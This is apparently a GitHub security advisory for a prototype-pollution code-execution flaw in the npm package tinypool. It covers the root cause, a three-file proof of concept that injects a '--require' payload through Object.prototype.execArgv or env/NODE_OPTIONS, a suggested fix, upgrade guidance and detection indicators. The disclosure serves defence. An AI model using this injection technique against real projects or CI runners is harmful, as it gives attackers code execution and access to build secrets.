GHSA-5gmw-xhrv-c9v3: Npm/tinypool vulnerability
tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to workerthreads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
1. execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script. 2. env — polluting Object.prototype.env = { NODEOPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.
Root cause
dist/index.js lines 508-511:
js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application's own legitimate worker: js export default function double(n) { return n 2 }
payload.js — attacker-controlled code (never referenced by the app): js const fs = require('fs') fs.writeFileSync('/tmp/RCEPROOF.txt', 'code execution achieved, pid=' + process.pid) console.log(' RCE ')
app.js — normal tinypool usage: js const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(dirname, 'payload.js')]
const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() })
Run: npm i tinypool@2.1.0 node app.js cat /tmp/RCEPROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 });
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/tinypoolto a version that resolves this vulnerability.Fixed in 2.1.1 - Compensating control
Resolve tinypool worker options with own-property semantics so inherited Object.prototype values such as env and execArgv are not passed explicitly to worker_threads.Worker.
Event History
Frequently Asked Questions
What must an attacker be able to do to exploit this issue?
The attacker needs a way to pollute Object.prototype in the Node.js process before tinypool creates workers. Setting Object.prototype.execArgv or Object.prototype.env can cause attacker-controlled code to be loaded by pool workers.
Are applications affected if they never configured worker execArgv or env options?
Yes. tinypool reads these values from a plain options object, so unset options can resolve from Object.prototype and become explicit Worker options. This defeats Node core's handling of Worker options inherited from Object.prototype.
What is the practical impact after successful exploitation?
Every worker spawned by the pool can execute the attacker’s script. That code runs with the privileges of the hosting application process.
How can I check for indicators that this condition has been triggered?
Check whether Object.prototype has acquired execArgv or env properties, particularly execArgv containing a --require argument or env containing NODE_OPTIONS with --require. Also investigate unexpected scripts loaded by tinypool worker processes.